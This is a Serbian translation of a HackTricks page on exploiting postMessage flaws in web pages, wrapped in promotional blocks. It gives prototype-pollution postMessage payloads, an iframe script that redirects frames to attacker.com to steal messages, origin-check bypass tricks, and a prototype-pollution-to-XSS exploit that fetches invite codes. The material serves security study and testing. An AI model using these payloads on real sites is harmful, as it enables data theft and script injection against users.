15 KiB
Vulnerabilnosti PostMessage
Vulnerabilnosti PostMessage
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
WhiteIntel
WhiteIntel je pretraživač na dark vebu koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za besplatno na:
{% embed url="https://whiteintel.io" %}
Pošalji PostMessage
PostMessage koristi sledeću funkciju za slanje poruke:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Imajte na umu da targetOrigin može biti '*' ili URL poput https://company.com.
U drugom scenariju, poruka se može poslati samo toj domeni (čak i ako je poreklo objekta prozora drugačije).
Ako se koristi zvezdica, poruke se mogu poslati bilo kojoj domeni, i biće poslate na poreklo objekta Prozora.
Napad na iframe & zvezdicu u targetOrigin
Kao što je objašnjeno u ovom izveštaju ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header
) i koja šalje osetljivu poruku putem postMessage koristeći zvezdicu (*), možete modifikovati poreklo iframe-a i procureti osetljivu poruku do domena koji kontrolišete.
Imajte na umu da ako se stranica može iframovati ali je targetOrigin postavljen na URL a ne na zvezdicu, ovaj trik neće raditi.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Iskorišćavanje addEventListener
addEventListener
je funkcija koju JS koristi da deklariše funkciju koja očekuje postMessages
.
Koristiće se kod sličan sledećem:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
U ovom slučaju primetite kako je prva stvar koju kod radi provera porekla. Ovo je izuzetno važno posebno ako stranica namerava da radi nešto osetljivo sa primljenim informacijama (kao što je menjanje lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove endpointove i promene lozinke žrtava (u ovom primeru).
Enumeracija
Da biste pronašli slušaoce događaja na trenutnoj stranici možete:
- Pretražite JS kod za
window.addEventListener
i$(window).on
(JQuery verzija) - Izvršite u konzoli alatki za razvoj:
getEventListeners(window)
- Idite na Elementi --> Slušaoci događaja u alatkama za razvoj pregledača
- Koristite dodatak za pregledač poput https://github.com/benso-io/posta ili https://github.com/fransr/postMessage-tracker. Ovi dodaci za pregledač će presresti sve poruke i prikazati ih vama.
Bypass provere porekla
- Atribut
event.isTrusted
smatra se sigurnim jer vraćaTrue
samo za događaje koji su generisani pravim korisničkim akcijama. Iako je izazovno zaobići ga ako je ispravno implementiran, njegova važnost u sigurnosnim proverama je značajna. - Korišćenje
indexOf()
za proveru porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Metoda
search()
izString.prototype.search()
namenjena je regularnim izrazima, a ne stringovima. Prosleđivanje bilo čega osim regularnog izraza dovodi do implicitne konverzije u regex, čineći metodu potencijalno nesigurnom. To je zato što u regexu tačka (.) deluje kao zamenski znak, omogućavajući zaobilaženje provere sa posebno oblikovanim domenima. Na primer:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Funkcija
match()
, slično kaosearch()
, obrađuje regex. Ako je regex nepravilno struktuiran, može biti podložan zaobilaženju. -
Funkcija
escapeHtml
namenjena je zaštiti unosa putem izbegavanja karaktera. Međutim, ne stvara novi izbegnuti objekat već prepiše osobine postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Posebno, ako se objekat može manipulisati tako da njegova kontrolisana osobina ne prepoznajehasOwnProperty
,escapeHtml
neće raditi kako se očekuje. Ovo je prikazano u primerima ispod: -
Očekivano neuspešno:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Zaobilaženje izbegavanja:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
U kontekstu ove ranjivosti, objekat File
je posebno iskorišćiv zbog svoje samo za čitanje name
osobine. Ova osobina, kada se koristi u šablonima, nije pročišćena funkcijom escapeHtml
, što dovodi do potencijalnih sigurnosnih rizika.
- Svojstvo
document.domain
u JavaScript-u može biti postavljeno skriptom da skrati domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.
Bypass e.origin == window.origin
Prilikom ugrađivanja veb stranice unutar sandboxed iframe koristeći %%%%%%, važno je razumeti da će poreklo ifream-a biti postavljeno na null. To je posebno važno kada se radi sa sandbox atributima i njihovim implikacijama na sigurnost i funkcionalnost.
Specifikacijom allow-popups
u sandbox atributu, svaki popup prozor otvoren iz ifream-a nasleđuje sandbox ograničenja svojih roditelja. To znači da osim ako se takođe ne uključi atribut allow-popups-to-escape-sandbox
, poreklo popup prozora takođe je postavljeno na null
, usklađujući se sa poreklom ifream-a.
Kao rezultat toga, kada se otvori popup u ovim uslovima i poruka se pošalje iz ifream-a ka popup prozoru koristeći postMessage
, kako pošiljalac tako i primalac imaju svoja porekla postavljena na null
. Ova situacija dovodi do scenarija gde e.origin == window.origin
vrednuje kao tačno (null == null
), jer i ifream i popup dele istu vrednost porekla null
.
Za više informacija pročitajte:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Zaobilaženje e.source
Moguće je proveriti da li je poruka došla iz istog prozora u kojem skripta sluša (posebno zanimljivo za Content Scripts iz pregledačkih dodataka kako bi proverili da li je poruka poslata sa iste stranice):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Možete prisiliti e.source
poruke da budu null kreiranjem iframe-a koji šalje postMessage i odmah se briše.
Za više informacija pročitajte:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypassovanje X-Frame-Header-a
Da biste izveli ove napade, idealno je da možete ubaciti ciljnu web stranicu unutar iframe
-a. Međutim, neki zaglavlja poput X-Frame-Header
mogu sprečiti takvo ponašanje.
U tim scenarijima i dalje možete koristiti manje prikraden napad. Možete otvoriti novi tab do ranjive web aplikacije i komunicirati s njom:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Krađa poruke poslate detetu blokiranjem glavne stranice
Na sledećoj stranici možete videti kako biste mogli da ukradete osetljive podatke poslate putem postmessage detetu u iframe-u blokiranjem glavne stranice pre slanja podataka i zloupotrebom XSS-a u detetu da procure podatke pre nego što budu primljeni:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Krađa poruke modifikovanjem lokacije iframe-a
Ako možete da uvezete veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete promeniti lokaciju tog dečijeg iframe-a, tako da ako prima postmessage poslat koristeći zvezdicu, napadač bi mogao da promeni tu iframe poreklo na stranicu kojom kontroliše i ukrade poruku:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage ka Prototype Pollution i/ili XSS
U scenarijima gde su podaci poslati putem postMessage
izvršeni pomoću JS-a, možete iframe-ovati stranicu i iskoristiti prototype pollution/XSS slanjem eksploatacije putem postMessage
.
Par veoma dobro objašnjenih XSS-a putem postMessage
može se naći na https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Primer eksploatacije za zloupotrebu Prototype Pollution a zatim XSS-a putem postMessage
ka iframe
-u:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Za više informacija:
- Link ka stranici o zagađenju prototipa
- Link ka stranici o XSS
- Link ka stranici o zagađenju prototipa na klijentskoj strani do XSS-a
Reference
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Za vežbu: https://github.com/yavolo/eventlistener-xss-recon
WhiteIntel
WhiteIntel je pretraživač pokretan dark-webom koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od malvera za krađu.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.